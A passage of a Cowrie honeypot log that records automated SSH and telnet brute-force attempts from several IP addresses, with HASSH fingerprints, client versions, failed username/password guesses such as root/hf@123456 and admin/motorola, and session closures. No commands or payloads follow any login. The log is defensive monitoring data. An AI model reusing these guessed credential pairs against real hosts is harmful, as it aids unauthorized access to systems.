c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:23:14.226228Z","src_ip":"36.92.140.209","session":"5e9ae9f3d2f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hf@123456","message":"login attempt [root/hf@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:23:15.385332Z","src_ip":"36.92.140.209","session":"5e9ae9f3d2f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:23:16.669142Z","src_ip":"36.92.140.209","session":"5e9ae9f3d2f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":55432,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfcc5a5dd167","protocol":"ssh","message":"New connection: 43.162.98.118:55432 (159.203.135.109:22) [session: bfcc5a5dd167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:23:44.492753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:23:44.497638Z","src_ip":"43.162.98.118","session":"bfcc5a5dd167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:23:44.565810Z","src_ip":"43.162.98.118","session":"bfcc5a5dd167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntuserver","message":"login attempt [root/ubuntuserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:23:44.870174Z","src_ip":"43.162.98.118","session":"bfcc5a5dd167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:23:45.941001Z","src_ip":"43.162.98.118","session":"bfcc5a5dd167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.17.183.249","src_port":51228,"dst_ip":"10.17.0.5","dst_port":23,"session":"29fdd4e8cde8","protocol":"telnet","message":"New connection: 178.17.183.249:51228 (10.17.0.5:23) [session: 29fdd4e8cde8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:23:55.664500Z"}
{"eventid":"cowrie.session.closed","duration":12.836376905441284,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:08.500748Z","src_ip":"178.17.183.249","session":"29fdd4e8cde8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":55392,"dst_ip":"159.203.135.109","dst_port":22,"session":"531a56a05047","protocol":"ssh","message":"New connection: 36.92.140.209:55392 (159.203.135.109:22) [session: 531a56a05047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:13.608086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:13.613412Z","src_ip":"36.92.140.209","session":"531a56a05047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:13.889631Z","src_ip":"36.92.140.209","session":"531a56a05047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"987654321","message":"login attempt [ubuntu/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:15.013634Z","src_ip":"36.92.140.209","session":"531a56a05047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:16.289903Z","src_ip":"36.92.140.209","session":"531a56a05047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":47212,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ee55bbefca2","protocol":"ssh","message":"New connection: 187.16.96.250:47212 (159.203.135.109:22) [session: 7ee55bbefca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:32.199265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:32.204082Z","src_ip":"187.16.96.250","session":"7ee55bbefca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":45386,"dst_ip":"159.203.135.109","dst_port":22,"session":"d91cf1792fc4","protocol":"ssh","message":"New connection: 43.162.98.118:45386 (159.203.135.109:22) [session: d91cf1792fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:32.320271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:32.325214Z","src_ip":"43.162.98.118","session":"d91cf1792fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:32.329072Z","src_ip":"187.16.96.250","session":"7ee55bbefca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:32.394200Z","src_ip":"43.162.98.118","session":"d91cf1792fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123","message":"login attempt [ubuntu/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:32.700746Z","src_ip":"43.162.98.118","session":"d91cf1792fc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"motorola","message":"login attempt [admin/motorola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:32.822091Z","src_ip":"187.16.96.250","session":"7ee55bbefca2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:33.773171Z","src_ip":"43.162.98.118","session":"d91cf1792fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:33.942827Z","src_ip":"187.16.96.250","session":"7ee55bbefca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.118.172","src_port":33660,"dst_ip":"10.17.0.5","dst_port":23,"session":"1811365cd82e","protocol":"telnet","message":"New connection: 43.134.118.172:33660 (10.17.0.5:23) [session: 1811365cd82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:33.974702Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":51920,"dst_ip":"10.17.0.5","dst_port":23,"session":"2276d836816d","protocol":"telnet","message":"New connection: 69.65.3.189:51920 (10.17.0.5:23) [session: 2276d836816d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:24:37.779141Z"}
{"eventid":"cowrie.session.closed","duration":31.318477153778076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:05.293085Z","src_ip":"43.134.118.172","session":"1811365cd82e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.48258018493652,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:13.261608Z","src_ip":"69.65.3.189","session":"2276d836816d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":35254,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9f924534781","protocol":"ssh","message":"New connection: 36.92.140.209:35254 (159.203.135.109:22) [session: c9f924534781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:13.463821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:13.468727Z","src_ip":"36.92.140.209","session":"c9f924534781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:13.752357Z","src_ip":"36.92.140.209","session":"c9f924534781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssword123","message":"login attempt [ubuntu/P@ssword123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:14.915780Z","src_ip":"36.92.140.209","session":"c9f924534781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:16.203269Z","src_ip":"36.92.140.209","session":"c9f924534781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":54380,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6c7fab2846a","protocol":"ssh","message":"New connection: 43.162.98.118:54380 (159.203.135.109:22) [session: d6c7fab2846a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:20.842088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:20.852082Z","src_ip":"43.162.98.118","session":"d6c7fab2846a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:20.920533Z","src_ip":"43.162.98.118","session":"d6c7fab2846a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odooserver","message":"login attempt [odoo/odooserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:21.224783Z","src_ip":"43.162.98.118","session":"d6c7fab2846a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:22.296823Z","src_ip":"43.162.98.118","session":"d6c7fab2846a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":44546,"dst_ip":"10.17.0.5","dst_port":23,"session":"06a031698dad","protocol":"telnet","message":"New connection: 69.65.3.189:44546 (10.17.0.5:23) [session: 06a031698dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:45.645757Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":46394,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2364eb1174d","protocol":"telnet","message":"New connection: 69.65.3.189:46394 (10.17.0.5:23) [session: a2364eb1174d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:25:51.645053Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.98.118","src_port":33990,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8f43ad4b633","protocol":"ssh","message":"New connection: 43.162.98.118:33990 (159.203.135.109:22) [session: b8f43ad4b633]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:09.899692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:09.904735Z","src_ip":"43.162.98.118","session":"b8f43ad4b633","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:09.973702Z","src_ip":"43.162.98.118","session":"b8f43ad4b633","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa1234567890@","message":"login attempt [ubuntu/Aa1234567890@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:10.279158Z","src_ip":"43.162.98.118","session":"b8f43ad4b633","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:11.349857Z","src_ip":"43.162.98.118","session":"b8f43ad4b633","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":38580,"dst_ip":"159.203.135.109","dst_port":22,"session":"d362365d3294","protocol":"ssh","message":"New connection: 36.92.140.209:38580 (159.203.135.109:22) [session: d362365d3294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:26:12.360777Z"}
